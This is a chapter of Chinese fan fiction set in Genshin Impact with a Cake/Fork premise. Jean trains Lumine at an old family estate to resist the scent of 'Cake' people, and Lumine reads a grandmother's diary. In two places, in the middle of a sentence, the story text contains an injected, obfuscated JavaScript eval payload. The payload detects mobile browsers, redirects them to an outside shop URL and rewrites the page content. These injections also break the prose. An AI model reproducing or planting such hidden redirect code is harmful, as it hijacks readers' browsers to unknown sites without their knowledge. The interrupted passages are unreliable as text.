那不是寂静,是声音的真空。连自己的呼吸声都显得突兀,仿佛这座古老的石砌建筑有生命,正在屏息观察着新来的闯入者。阳光透过高处彩绘玻璃窗的裂隙,在大厅磨损的石板地上投下支离破碎的光斑,尘埃在其中缓慢翻滚,像被困住的时光。 荧的靴子踩在地面上,脚步声被厚重的石壁吸收,只留下一点沉闷的回响。她下意识地深吸一口气——空气里有陈年木材、潮湿石头和……一丝若有若无的、清冽如冬日山泉的气息。 那是琴的味道。但她此刻站在几步之外,背对着荧,正抬头审视着穹顶下残破的家族纹章。‘琴团长的味道!’ “地下的训练场保存得会比地上的更好。”琴没有回头,声音在空旷的大厅里显得格外清晰,“但今天下午,我们先从适应环境开始。” 她终于转过身,午后的光线斜照在她半边脸上,另外半边隐在阴影中。荧注意到,琴换下了骑士团长的制服,穿着一身深灰色的、便于活动的猎装,金色的头发束成简洁的低马尾。这个样子的琴,看起来比在骑士团时少了些威严,多了些亲近感。 “适应环境?”荧问。(猫猫歪头,这个是作者的私心,因为作者家里养猫) “这座庄园的每一块石头,都被古恩希尔德的先辈用特殊符文处理过。”琴走向大厅侧面一扇不起眼的木门,“它能隔绝大部分外界干扰,也能放大内部的某些‘波动’。在这里,你的感官会比在外面敏锐数倍,无论是你对Cake气息的感知,还是你对自身冲动的觉察。” 她推开门,后面是一条向下的石阶,黑暗深不见底。 “当然,这也会让你的训练效果事半功倍。”琴回头看了荧一眼,“代价是,你会更‘饿’。” 荧咽了口唾沫,喉咙里那种熟悉的、轻微的干渴感,似乎真的随着琴的话语变得清晰了些。‘不知道这次薄荷水管用吗?管够不!’ 石阶旋转向下,潮湿的凉意顺着裤腿爬上来。墙壁上隔很远才有一盏小小的油灯,火光摇曳,将两人的影子拉长、扭曲、缠绕,投在布满水渍的石壁上。琴走在前面,她的背影在昏暗的光线下显得挺拔而孤独,脚步稳得像在用尺子丈量距离。 荧跟在后面,脑子里不合时宜地冒出个念头,‘团长走路都不带晃的,膝盖是铁打的吗?’ 走了大概三层楼的高度,眼前豁然开朗。 荧停下脚步,怔住了。 这根本不是她想象中的“训练场”。这更像一个陈列馆。一个关于“如何束缚Fork”的陈列馆。 巨大的地下空间被柔和的淡蓝色符文光芒照亮。最显眼的是环绕墙壁的一整圈金属架,上面悬挂着的不是武器,而是止咬器。数十种,上百种?’不要戴到我的嘴上啊!‘荧看得眼花缭乱。简单的皮质束带,镶嵌着暗淡宝石的华丽颈圈,结构复杂、带着锁扣和链条的金属装置,甚至还有几个造型狰狞、布满倒刺的款式,在幽光下泛着不祥的冷色。 “六百年的收藏。”琴的声音从她身后传来,很平静,像博物馆的解说员,“有些为了装饰,有些为了实用,有些为了惩戒,还有些……为了彻底‘驯服’。” 她走到一个金属架前,取下其中一个。那是纯黑色的、线条极其简洁的一款,内侧光滑,但边缘锋利得像是刚打磨过。“这是我曾曾祖父为他失控的弟弟设计的。没有倒刺,但一旦扣紧,边缘会陷入皮肤,每一次呼吸带来的起伏,都是持续的、细密的切割。”琴的指腹抚过那锋利的边缘,“那位先祖戴着它活了三十年,直到死去。据家族记载,他晚年几乎不再说话,因为开口太疼。” 荧感到颈后的寒毛竖了起来。她觉醒后教会发的止咬器,相比之下温和得像婴儿的围嘴。 “我不会给你用这些。”琴将那个黑色止咬器放回原处,金属碰撞发出清脆的叮声,“但你需要知道,控制本能的代价,在历史中常常以这样的形式存在。” 她转向荧,符文的蓝光在她脸上流动。 “在这里,没有骑士团的同僚,没有蒙德的民众,没有需要你维护的‘正常’表象。只有你,你的本能,和我。”琴顿了顿,“我会用比在骑士团时严苛十倍的方法训练你。你可能会恨我,可能会崩溃,可能会想逃。” 她的目光像冰凉的湖水,淹没过来。 “但你不能逃。‘王’在找你,内应还在暗处,下一次袭击不会等你准备好。你要在七天内,走完别人三个月的路。” 荧的指尖有些发麻。她握了握拳,感觉到掌心因为紧张而沁出的薄汗。 “我明白。”她听见自己的声音,比想象中镇定。 琴看了她几秒,然后走向地下室的中央。那里有一片铺着深色软垫的圆形区域,旁边石台上,放着三个颜色深浅不一的皮囊。 “今天下午,我们先从‘耐受’开始。”琴拿起最左侧、颜色最浅的那个皮囊,“这里面的样本,来自一个元素力微弱、几乎无法被普通Fork感知的平民Cake。浓度是我们在骑士团所用标准样本的十分之一。” 她解开皮囊的系绳。 荧下意识地屏住了呼吸。 但什么也没发生。没有气味,没有感觉,什么都没有。就像琴只是打开了一个空袋子。 “放松。”琴说,“不是所有Cake的气息都那么‘张扬’。感受它,用我教过你的方法——不要用鼻子,用你身体里更深的地方去‘听’。” 荧困惑地皱起眉,但还是闭上眼睛,努力放空自己,去捕捉空气中任何一丝异样。起初只有地下室的凉意和石头的气息,渐渐地,一种极其微弱、像隔着三层棉布传来的甜味,若有若无地飘了过来。不是糖的甜,更像是熟透的果实快要发酵前的那一丝征兆,很淡,几乎要消散在空气里。 她的胃部,传来一丝极其轻微的、几乎可以忽略的抽动。 “感觉到了?”琴问。 荧睁开眼,点了点头:“很淡,但确实有。” “记住这个感觉。”琴重新系上皮囊,“这是‘饥饿’最初始的形态,不是咆哮的野兽,只是胃袋的一次微小痉挛。学会在它刚萌芽时就觉察到、控制住,比等它变成燎原大火要容易得多。” 接下来的两个小时,就在这种极其枯燥的重复中度过。琴会打开皮囊,让微弱的气息弥漫几分钟,然后系上,让荧描述感觉,调整呼吸,尝试用意志去平息身体那微乎其微的反应。没有惊心动魄的对抗,只有一种近乎折磨的、对自身最细微生理变化的觉察和掌控。 荧很快发现琴是对的——在这个被符文包裹的空间里,她的感官变得异常敏锐。她能清晰地分辨出每次气息释放时,自己喉部肌肉不自觉的收紧,唾液分泌速度的细微变化,甚至心跳频率那几乎可以忽略的加快。这些平时会被忽略的“杂音”,在这里被放大了,成为她必须直面和处理的信号。 汗水逐渐浸湿了她的后背。不是因为体力消耗,而是精神高度集中带来的疲惫。每一次“感受-控制”的循环,都像在走一根越来越细的钢丝。 当琴终于宣布下午的训练暂告一段落时,荧几乎虚脱地坐在了软垫上,额头顶着膝盖,大口喘气。精神上的紧绷比□□的劳累更耗人。 一块干净的手帕递到她眼前。 荧抬起头,琴站在她面前,手里拿着手帕和水囊。团长的脸上没什么表情,但眼神里没有苛责。 “喝点水。”琴说,“你做得比我想象的好。大多数人在这个阶段,要么完全感知不到,要么会过度反应。你的控制力很精细。” 荧接过水囊,薄荷的清凉让她混沌的脑子清醒了些。“谢谢。”她低声说,用手帕擦了擦脸上的汗,“只是一直这样紧绷着,很累。” “会习惯的。”琴转身开始收拾皮囊,“控制本能不是一场决战,而是一场永无止境的巡逻。你要学会的,是在日常的每一分每一秒都保持警醒,而不是等到警报拉响才手忙脚乱。” 她停顿了一下,背对着荧,声音低了些:“晚餐我已经准备好了,在楼上。洗完澡就上来。” 说完,她拿起东西,走向石阶,身影很快消失在向上的黑暗中。 荧又在软垫上坐了一会儿,听着自己逐渐平复的心跳。地下室里只剩下符文运转的微弱嗡鸣,和无处不在的、琴留下的那种清冽气息。很奇怪,同为Fork,琴的气息在这里弥漫,却没有引起她任何冲突的反应,反而像一种镇定的锚。 她撑着酸软的腿站起来,走向石阶。走了几步,又忍不住回头,看了一眼墙壁上那些沉默的止咬器。它们在幽蓝的光线下静静陈列,像无数双来自过去的眼睛,冰冷地注视着现在。 楼上的“生活区”比地下室有人气得多——如果忽略这里所有的家具都蒙着白布的话。 琴已经揭开了餐厅长桌和两张椅子上的罩布,烛台上点着几支蜡烛。桌上是简单的食物:烤得恰到好处的面包,蔬菜浓汤,还有两块煎肉排。算不上丰盛,但热气腾腾。 荧洗了个战斗澡,出来时换上了自己带的干净衣服。她走到餐桌边,琴已经坐在主位,正在看一份带来的文件。 “坐。”琴头也没抬。 荧在她右手边坐下。两人安静地开始用餐。只有餐具偶尔碰撞的轻响,和烛火噼啪的细微声音。 荧偷偷用余光打量琴。烛光柔和了她面部过于清晰的线条,长长的睫毛在眼下投出浅浅的阴影。她吃得很慢,很仔细,仿佛每一口食物都需要认真对待。荧忽然意识到,自己几乎从未见过琴完全放松下来的样子,即使是在这样的私密环境里。 “团长,”荧忍不住开口,打破了寂静,“您以前,也在这里训练过吗?” 琴切肉排的动作顿了顿。“十四岁那年,在这里住了三个月。”她的语气很平淡,“和我的父亲。” “也是这样的训练?” “更严苛。”琴放下刀叉,拿起水杯,“他信奉‘痛苦是最有效的老师’。我用的样本浓度,是你今天下午的二十倍。第一次接触时,我咬穿了他的手掌。” 荧的呼吸一滞。 “他给我戴上了那个黑色的止咬器。”琴的目光飘向地下室的方向,声音没什么起伏,“戴了整整一周。不能正常进食,只能喝流质。每次吞咽都像吞刀片。但很有效,我再也没有因为那种浓度的样本失控过。” 她说得如此轻描淡写,荧却感到一阵寒意爬上脊背。她想象着十四岁的琴,戴着那个切割呼吸的刑具,在这座空旷的庄园里,面对着自己父亲流血的手。 “后来呢?”荧小声问。 “后来我学会了控制。”琴收回目光,重新拿起刀叉,“他也学会了不再靠近我。” 这句话让荧的心口莫名地揪了一下。她看着琴平静的侧脸,忽然觉得那完美无瑕的冷静之下,或许也藏着某些被深深锁起来的、连疼痛都早已麻木的裂痕。 晚餐在一种微妙的沉默中继续。直到快要吃完时,琴才再次开口: “明天开始,我们会接触更高级别的样本。你需要做好心理准备。”她看向荧,“尤其是……当你面对凯亚和迪卢克那种级别的Cake时,诱惑会是几何级数增长的。你必须建立起足够坚固的防御,不能依赖他们昨晚那种危险的干预。” 荧想起了迪卢克流血的手腕,和凯亚贴近时那股冰凉的甜腻。她的脸颊有些发烫,低下头:“我明白。我不会……不会再让自己陷入那种境地。” “最好如此。”琴的语气听不出情绪,“但你要记住,本能不讲道理。当诱惑足够强时,你的身体可能会背叛你的意志。到那时,你需要一个更可靠的‘锚点’。” “锚点?” “一个能让你在风暴中稳住心神的东西。”琴说,“可以是回忆,可以是信念,也可以是……”她停顿了一下,“某个特定的人的气息。一个你熟悉、且不会引发你‘饥饿’的对象。” 荧几乎要脱口而出“那不就是您吗”,但话到嘴边又咽了回去。这听起来太奇怪了。 琴似乎看穿了她的想法,嘴角极轻微地动了一下,像是要笑,又没笑出来。“理论上,同为Fork的我,确实是最安全的选择。我的气息对你只有同类压制,没有吞噬吸引。在训练中,你可以尝试以我的存在作为你控制时的‘参照物’。” 她说得一本正经,完全是学术探讨的口吻。荧点点头,把心里那点怪异的感觉压了下去。“我会试试的。” 晚餐后,琴去厨房清洗餐具,荧则被分配了整理书房的任务。 说是书房,其实更像一个档案室。高大的书架直抵天花板,上面塞满了蒙尘的卷宗和古籍。空气里有浓重的旧纸和皮革的味道。荧按照琴的指示,用干净的软布擦拭书架表面和书脊的灰尘。 她做得很仔细,直到在书架最底层,发现了一本没有书名、封面是深蓝色绒布的大册子。册子很厚,边缘磨损得厉害。出于好奇,荧轻轻将它抽了出来。 拂去表面的灰,她打开了第一页。 映入眼帘的,是一行工整优雅、却透着一股 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122935|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稚嫩笔触的字: 【古恩希尔德家族Fork观察日志·第七代】 下面是一张微微泛黄的人物素描,画着一个有着湖蓝色眼睛和金色长发的少女,看起来不过十二三岁。画像旁边标注着:艾德琳·古恩希尔德,初次显现Fork倾向。 荧的心脏猛地一跳。她意识到自己可能不该看这个,但手指已经不受控制地翻向了下一页。 接下来的页面,记录着这个名叫艾德琳的少女成长的点点滴滴,笔迹从稚嫩逐渐变得成熟、严谨,甚至带着一种冷静到残酷的客观: 【14岁,首次接触Cake样本(家族侍从,低级),反应剧烈,攻击行为,予以三日禁闭。】【16岁,完成第一阶段控制训练,可耐受中级样本十分钟。父亲评价:进步迟缓,意志薄弱。】 【18岁,于仲夏节庆典遇一旅行诗人(疑为高等Cake),出现持续性‘渴求’症状,自我记录:‘其声如蜜,思之灼喉。’】 【20岁,与劳伦斯家族次子订婚(经检测为中等Cake)。自我记录:‘无喜无悲,或为最佳选择。至少血脉可延续。’】 再往后翻,记录的风格突然变了。笔迹变得潦草,情绪透过纸背扑面而来: 【订婚次年,于边境巡逻遇袭,同行骑士安德烈(Cake)重伤。为其止血时,首次‘交换’。其血如烈酒,焚我五脏。后三日,思之如狂。】 【与安德烈私下会面渐频。自知危险,如饮鸩止渴。自我记录:‘理性如锁链,然锁链之内,困兽仍想触碰星光。’】 【父亲察觉。怒斥。命即日与劳伦斯家完婚,不得再见安德烈。】 【婚礼前夜,安德烈于城外等我。最后一次见面。他说:‘逃吧,艾德琳,我带你走。’我拒绝了。那夜风很大,他眼中有我一生不敢奢求的光。】 【婚礼当日,安德烈加入远征军,赴深渊前线。】 【三个月后,战死讯传来。同日,我发现自己怀孕(劳伦斯子嗣)。自我记录:‘此身已成牢笼,内外皆锁。’】 日志在这里中断了很多页。再往后翻,笔迹恢复了冰冷,甚至比之前更加刻板,记录的内容变成了对自身血脉后代(也就是琴的父亲)的观察数据,详尽、精确,不带一丝感情。 直到最后一页,只有一行字,墨迹深深浸入纸中,力透纸背:“愿我的女儿,不必懂得这本日志里的任何一句话。” 落款是:艾德琳·古恩希尔德,绝笔。 荧拿着日志的手,微微颤抖。她仿佛能透过这些文字,触摸到一个被家族责任、可怕本能和时代枷锁层层包裹的灵魂,从鲜活到沉寂的全部过程。那个最终为女儿写下祈愿的母亲,自己却一生困在“牢笼”里。 “那是我的祖母。” 琴的声音突然从门口传来。 荧吓得差点把日志扔出去。她猛地转身,看见琴不知何时已经站在了书房门口,手里端着一杯水,脸上没什么表情,只是静静地看着她手里的深蓝色册子。 “对、对不起!”荧慌忙把日志合上,放回书架,“我不是故意要看的,我只是……” “没关系。”琴走进来,把水杯放在书桌上,“那不是什么秘密。只是家族历史的一部分。” 她走到书架前,抽出那本日志,轻轻摩挲着深蓝色的封面,眼神有些悠远。 “祖母她……一生都在对抗两样东西:Fork的本能,和古恩希尔德家长女的责任。”琴的声音很轻,像在自言自语,“她做得很好,至少在外人看来。端庄,克制,从未失控,嫁入门当户对的家族,生下了继承人。她是一个‘完美’的样本。” “可是她不快乐。”荧脱口而出。 琴看向她,湖蓝色的眼眸在昏暗的书房里像两潭深水。 “快乐对古恩希尔德家的Fork而言,是奢侈品,甚至是危险品。”琴说,“过于强烈的情感,无论是爱还是恨,都可能成为本能失控的催化剂。祖母对那个骑士的感情,差点毁了她。所以我的父亲——她的儿子——从小接受的教育,就是将一切情感视为需要管理的变量,将控制做到极致。” 她将日志重新塞回书架深处,动作带着一种决绝。 “我从小看着父亲如何对待自己,也看着祖母日志里那些被压抑的、最终变成冰冷文字的情感。”琴转身,面对荧,“所以我选择了一条不同的路。我不认为Fork必须成为情感的囚徒。我相信,足够强大的意志,可以驾驭本能,而不是被它奴役。我相信,我们可以有正常的关系,正常的情感,而不是活成一具精确但冰冷的仪器。” 她的目光灼灼,落在荧身上。 “而你,荧,是我证明这条道路可能性的希望。你纯净,坚韧,还没有被那些陈腐的枷锁和扭曲的训诫污染。我要教会你的,不是如何成为另一个艾德琳,或者另一个我的父亲。我要教你如何……在认清自己是什么之后,依然能自由地选择成为谁。” 书房里安静下来。只有烛火偶尔的噼啪声。 荧看着琴,看着她在烛光下显得格外明亮、也格外执着的眼睛。她忽然明白了琴身上那种矛盾感的来源——她既是古恩希尔德家族最正统的继承者,恪守着责任与规则;内心深处却又燃烧着反叛的火焰,想要打破家族加诸于血脉之上的诅咒。 而她,荧,被选中成为这火焰的燃料,或者旗帜。 “我会努力的,团长。”荧认真地说,“为了我自己,也为了……不辜负您的希望。” 琴的唇角,终于牵起一个很淡、但真实的笑意。那笑意柔和了她脸上过于清晰的线条,让她看起来近乎温柔。 “今晚好好休息。”她说,“明天开始,才是真正的考验。” 她拿起水杯,离开了书房。 荧独自站在高大的书架前,许久,才伸手关掉了书桌上的烛台。黑暗笼罩下来,但空气中,仿佛还残留着琴话语里的温度,和那本深蓝色日志所承载的、沉重而冰凉的过往。 这座古老的庄园,不仅是一个训练场。它本身就是一个巨大的、由血脉、责任和孤独构筑的标本。 而她,正一步步走入这个标本的核心。 【下章预告】 耐受训练进入更危险的阶段,荧将首次直面高等Cake样本的模拟诱惑。而庄园之外,凯亚对骑士团内应的调查有了突破性进展,线索却指向一个令人难以置信的方向。同时,迪卢克追寻“王”的踪迹来到边境,却发现深渊的涌动与蒙德城内的阴谋,似乎存在着某种令人不安的同步…… 9. 进阶训练 荧是在一阵清冽的气息中醒来的。刚清醒脑袋还不是很清醒,翻了个身想摸摸派蒙的头结果捞了个空才想起来自己在哪。 淡淡的香味传来,像冬日窗上凝结的霜花,带着松针和冷泉的味道。它弥漫在整个房间里,将地下石室的潮湿和尘土味驱散得干干净净。琴正站在窗边,背对着她,望着外面那片被晨雾笼罩的森林。 琴团长已经换好了训练服,深灰色的布料勾勒出挺拔而利落的线条。她的金发松散地披在肩上,在从石窗透进来的、稀薄的晨光里,泛着柔和的光泽。 荧坐起身,发现自己身上盖着一条薄毯。她记得昨晚自己是在书房的椅子上睡着的——整理书架实在太累人。 “醒了?”琴没有回头,声音里听不出情绪,“去洗漱,然后下来。今天的训练要开始了。” “是。”荧应道,掀开毯子。她注意到自己昨晚那身沾了汗和尘的衣服不见了,床边放着一套干净的训练服。 是琴准备的。 这个认知让她心里涌起一丝微妙的情绪。她换好衣服,布料柔软,带着阳光晒过的、干净的味道。 地下训练场里,气氛和昨天截然不同。 石台上的三个皮囊还在,但琴今天没有立刻走向它们。她站在训练场中央,手里拿着一个荧从未见过的、巴掌大小的银质香炉。香炉镂空的花纹极其精致,此刻正缓缓溢出几缕淡青色的烟雾,带着和琴身上相似、但更浓郁些的清冽气息。 “今天不直接接触样本。”琴说,“我们先解决另一个问题——你缺乏一个足够稳固的‘锚点’。” “锚点?”荧想起昨晚琴在书房里提到的词。 “当你被Cake的气息淹没时,你需要一个能把你拉回现实的东西。可以是强烈的疼痛,可以是深刻的记忆,也可以是……”琴抬起手中的香炉,“另一个足够强大、且对你没有‘食欲诱惑’的气息印记。” 她走近几步,那股清冽的气息随着她的靠近变得更加清晰。荧下意识地深吸了一口气——很奇怪,这气息明明和琴身上的同源,但经由香炉扩散出来后,似乎多了一层穿透力。它不经过鼻腔的过滤,直接渗入皮肤,像无形的冷泉漫过四肢百骸。 “这是古恩希尔德家族特制的‘镇魂香’。”琴解释道,“原料是我的血液、风元素结晶和一些特殊草药。它的作用不是压制你的本能,而是标记——在你的感知系统里,建立一个属于我的、安全的坐标。” 她将香炉放在训练场边缘的石台上,淡青色的烟雾继续袅袅升起。 “今天的训练分两步。”琴走回荧面前,“第一步,你要在镇魂香的气息笼罩下,适应并记住这种感觉。第二步,我会释放低浓度样本,你要学会在感受到诱惑时,主动去‘寻找’并依赖这个坐标。” 听起来比昨天直接面对高浓度样本要温和。荧点点头:“我该怎么做?” “坐下,闭上眼睛,呼吸。”琴说,“但不要刻意去‘闻’。让气息自然地进入你的身体,感受它流经的路径,记住它带给你的感觉——是清凉?是镇静?还是其他什么。” 荧照做了。她盘腿坐在软垫上,闭上眼睛,调整呼吸。起初,她还在刻意分辨那气息里的成分,但渐渐地,她放松下来。镇魂香的气息像有生命的雾,飘渺着萦绕着她,随着她的呼吸,一点点浸润她的肺部,扩散到血液里。 松弛而不是困倦,像紧绷许久的弦被轻轻拨松了,那些因为长时间警惕而僵硬的肌肉,正在缓缓舒展。连脑子里那些纷乱的思绪——对“王”的恐惧、对内应的不安、对昨晚那本日志的震动——都像被这冷雾抚平了,暂时沉入意识深处。 荧甚至没注意到,自己的呼吸节奏,正在不知不觉中,和香炉烟雾飘散的频率趋于一致。 琴站在一旁,静静地看着她。荧的侧脸在淡青色烟雾中显得很安静,长睫毛在眼下投出浅浅的阴影,平时总是微微皱着的眉头,此刻完全舒展开来。她进入状态的速度,快得让琴有些意外。 太容易信任了。 这对Fork来说,是致命的弱点。 琴的指尖无意识地蜷缩了一下。她想起父亲曾说过的话:“永远不要完全放松警惕,尤其当你在另一个Fork的领域里时。”但此刻,看着荧毫无防备的样子,她心里那根绷紧的弦,竟也莫名地松了一瞬。 半小时后,琴轻轻拍了拍荧的肩膀。 荧睁开眼睛,眼底有一层朦胧的水光,像是刚从宁静的水域中浮上来。“……团长?” “记住刚才的感觉了吗?”琴柔声问,像是不忍打破此刻的宁静。 荧点点头。那种清冽、镇静、像被冰冷泉水包裹的感觉,已经清晰地烙印在她的感知里。 “很好。”琴走向石台,拿起第一个皮囊——那个装着最低浓度平民Cake样本的。“现在,我会打开这个。当你感觉到‘饥饿’开始升起时,不要抗拒它,但要用你的意识,主动去触碰刚才记住的‘坐标’。” 她解开系绳。 那股熟悉的、极其微弱的甜锈味再次飘散出来。 荧的胃部几乎立刻传来一丝微弱的抽动。但这一次,她没有慌乱。她闭上眼睛,在意识里主动回忆起镇魂香的气息——那清冷的、松针般的触感。她想象着那股冷泉般的气息从心脏的位置扩散开,流向胃部,流向喉咙。 奇妙的事情发生了。那丝生理性的“饥饿感”并没有消失,但它被包裹住了,像一团微弱的火苗被投入冰凉的泉水中,虽然还在燃烧,但失去了蔓延的能力。它变成了一种可以被观察、可以被忍耐的“客观存在”,而不是需要全力对抗的“本能冲动”。 “很好。”琴的声音传来,带着一丝几不可查的赞许,“保持住。现在,睁开眼睛,看着我。” 荧依言睁眼。琴站在几步之外,正注视着她。团长的表情依然平静,但荧觉得,她湖蓝色的眼眸深处,似乎有什么东西微微亮了一下。 “你能感觉到,两种气息在你体内共存吗?”琴问。 “能。”荧的声音有些沙哑,“‘饿’还在,但它……被困住了。很安静。” “这就是‘锚点’的作用。”琴说,“它不消除你的本能,那是你的血脉,无法根除。但它为你提供了一个安全的、不会引发你吞噬欲望的‘参照系’。当诱惑的风暴来袭时,你可以抓住这个参照系,知道自己在哪里,知道自己是谁。” 她重新系上皮囊。那股微弱的甜锈味消失了,但荧体内的“锚点”感依然清晰。 “休息五分钟。”琴说,“然后我们尝试更高的浓度。” 上午的训练在一种相对平稳的节奏中度过。荧逐渐掌握了在感知到Cake气息诱惑时,主动唤醒“锚点”印记的技巧。随着样本浓度的逐步提高,她需要调动的意志力也越大,但那个清冽的坐标确实有效——它像风暴眼中的一点寂静,让她在最混乱的感官冲击中,也能保持一丝清明的意识。 中午,两人回到楼上简单用餐。琴依然话不多,但气氛比昨天缓和了些。荧甚至鼓起勇气问了一句:“团长,这个‘镇魂香’……对您自己有影响吗?” 琴切面包的动作顿了顿。“为什么这么问?” “因为它用的是您的血。”荧小声说,“制作过程……会不会很难受?” 琴看了她一眼,眼神有些复杂。“提取过程并不痛苦。至于影响……”她放下刀叉,“它是我自身气息的延伸。我闻不到它,就像你闻不到自己皮肤的味道。但通过它,我能感知到你的状态——当你依赖它时,我能感觉到‘连接’的强度。” 荧愣住了。“连接?” “一种极微弱的气息共鸣。”琴的语气很平淡,像在解释一个学术概念,“当你主动以我的气息为锚点时,我们之间的气息会产生短暂的、定向的流动。这有助于我判断你的训练进展和失控风险。” 荧低下头,看着盘子里的面包。她忽然觉得嘴里的食物有点咽不下去。所以,她每一次在训练中努力抓住那清冽的坐标时,琴都能感觉到?那她那些挣扎、那些痛苦的忍耐、那些好不容易维持住的平衡……琴都一清二楚? 这感觉……太透明了。透明得让人有点无所适从。 “你不必在意。”琴似乎看穿了她的不自在,“这只是一个辅助监测手段。就像医生用听诊器听病人的心跳,无关隐私,只关乎效果。” 话是这么说,但荧还是觉得有些不好意思。 午休时间很短。一个小时后,她们又回到了地下室。 下午的训练开始前,琴从怀里取出一个小巧的、密封的玻璃管。里面装着暗红色的、粘稠的液体,在符文光芒下泛着一种不祥的光泽。 荧的心脏猛地一跳。她认出了那个颜色——和昨天迪卢克给的那个药剂瓶,一模一样。 “这是迪卢克送来的‘替代样本’。”琴的声音很平静,“经过炼金术提纯和稳定化处理,保留了气息的本质,但剥离了大部分活性危险成分。理论上,它比天然血液样本更安全,也更容易控制。” 她将玻璃管放在石台上,和另外三个皮囊并列。 “今天下午的最终挑战,就是在上午的基础上,尝试接触这个样本的气息。”琴看向荧,“如果成功,意味着你初步建立了对高等Cake诱惑的耐受基础。如果失败……” 她没有说下去,但荧明白。如果失败,就意味着她离能安全地面对凯亚和迪卢克,还差得很远。 “我会成功的。”荧听见自己说,声音比想象中坚定。 琴看了她几秒,点了点头。“那么,准备开始。” 镇魂香再次被点燃。清冽的气息重新笼罩训练场。荧深呼吸几次,让自己沉浸在那个安全的坐标里。 然后,琴打开了玻璃管的密封塞。 没有“轰然炸开”的风暴。 这一次,是渗透。 像最醇厚的酒液被加热后挥发出的蒸汽,那气息并不霸道,却无孔不入。它带着阳光炙烤过的橡木桶、陈年葡萄的深沉甜醇、以及某种滚烫的、如同岩浆在皮肤下缓慢流动的质感,丝丝缕缕地渗入空气,渗入荧的每一次呼吸。 荧的呼吸节奏瞬间就乱了。 这气息和之前所有的样本都不同。它不刺激,不尖锐,甚至带着一种奇异的包容感,像冬夜里裹住全身的厚重毛毯,温暖得让人想沉溺。她的喉咙开始发干,但不是因为抗拒,而是因为一种更原始的渴望——渴望被这温暖彻底包裹,渴望融入其中,渴望成为它的一部分。 “稳住。”琴的声音像从很远的地方传来,“找回你的锚点。” 荧咬紧牙关,拼命在意识里呼唤那清冽的松针与冷泉。但这一次,镇魂香的气息显得那么单薄,那么遥远,像试图用一层薄冰去覆盖滚烫的熔岩。她能感觉到那个“坐标”还在,但它被迪卢克样本那厚重而温柔的气息层层包裹、挤压,正在不断减弱。 她的身体开始不受控制地向前倾。视线牢牢锁定了那个玻璃管,锁定了里面暗红色的、缓缓流动的液体。她能想象那液体滑过喉咙的感觉——一定是滚烫的、醇厚的、能填满她体内所有空洞的…… “荧!” 琴的厉喝让她猛地回神。她发现自己已经半站起来,正朝着石台的方向无意识地挪动了一步。 冷汗瞬间浸湿了她的后背。 “我……我控制不住……”她的声音在发抖,“它太……太‘好’了……不像诱惑,像……像邀请……” “那是假象。”琴快步走到她面前,挡住了她看向玻璃管的视线,“高等Cake的气息之所以危险,不仅在于强度,更在于它的‘欺骗性’。它会让你觉得安全,觉得被接纳,从而瓦解你的防御意志。” 琴的气息随着她的靠近变得清晰。不是通过香炉扩散的、经过处理的“镇魂香”,而是更原始、更直接的、属于琴本人的味道——清冷、锐利,像出鞘的剑锋。 两种气息在极近的距离里正面碰撞。 荧闷哼一声,身体晃了晃。迪卢克样本那温暖的包容感,和琴这冰冷的锐利感,在她感官里形成了两股截然相反的拉扯力。一边是诱人沉溺的温柔乡,一边是清醒疼痛的警醒剂。 她夹在中间,像要被撕成两半。 “看着我。”琴抬手,捏住了她的下巴,强迫她抬起脸,对上自己的眼睛,“不要看样本,不要想气息。只看我。” 荧被迫直视琴湖蓝色的眼眸。那里面没有温度,只有一种近乎残酷的清醒和审视。但奇怪的是,这种冰冷的目光,反而像一盆冰水,浇灭了她心里那股被温暖气息勾起的、昏昏沉沉的渴望。 “记住这种感觉。”琴的声音很近,呼吸几乎拂在荧的脸上,“记住当你被温柔诱惑时,什么才是真正能让你保持清醒的东西——不是另一个更强烈的诱惑,而是疼痛,是冰冷,是绝不让你沉溺的残酷真实。” 她的手很凉,指尖按在荧的下颌骨上,力道不小,带来清晰的痛感。这痛感,连同琴身上那锐利的气息,一起扎进荧混乱的感官里,将迪卢克样本那温暖的迷雾狠狠撕开一道口子。 荧的呼吸渐渐平稳下来。她仍然能感觉到那醇厚气息的诱惑,但它不再是无孔不入的包裹,而变成了一种可以被“隔离”在外的背景噪音。她的注意力,她的意识锚点,重新被拉回了琴的眼睛、琴的手指、琴那冰冷而真实的存在上。 “我……我好像……”她艰难地开口,“能分开了……” 琴松开了捏着她下巴的手,但另一只手却抬起来,轻轻按在了她的颈侧——那里是动脉跳动的地方,也是Fork在失控时最可能首先攻击的部位。 这个动作让荧浑身一僵。 但琴只是将掌心贴在那里,用皮肤感受着她急促的脉搏,同时,将自己那清冽的气息,以一种更直接、更不容拒绝的方式,通过肌肤相触的位置,传递过去。 “这才是‘锚点’的真正用法。”琴低声说,声音里带着一种荧从未听过的、近乎呢喃的质感,“不是远远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122936|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地标记一个坐标,而是在你即将迷失时,直接用我的存在,把你钉回现实。” 荧的脉搏在琴的掌心下狂跳。她能感觉到琴的气息正顺着相触的皮肤渗透进来,强势地驱逐着迪卢克样本残留的影响。那感觉很奇异,像身体内部正在被清洗、被覆盖、被打上新的烙印。 她忽然想起昨晚在日志里看到的那句话:“理性如锁链,然锁链之内,困兽仍想触碰星光。” 那此刻,琴这冰冷而真实的气息,是锁链……还是星光? 这个念头让她一阵心悸。 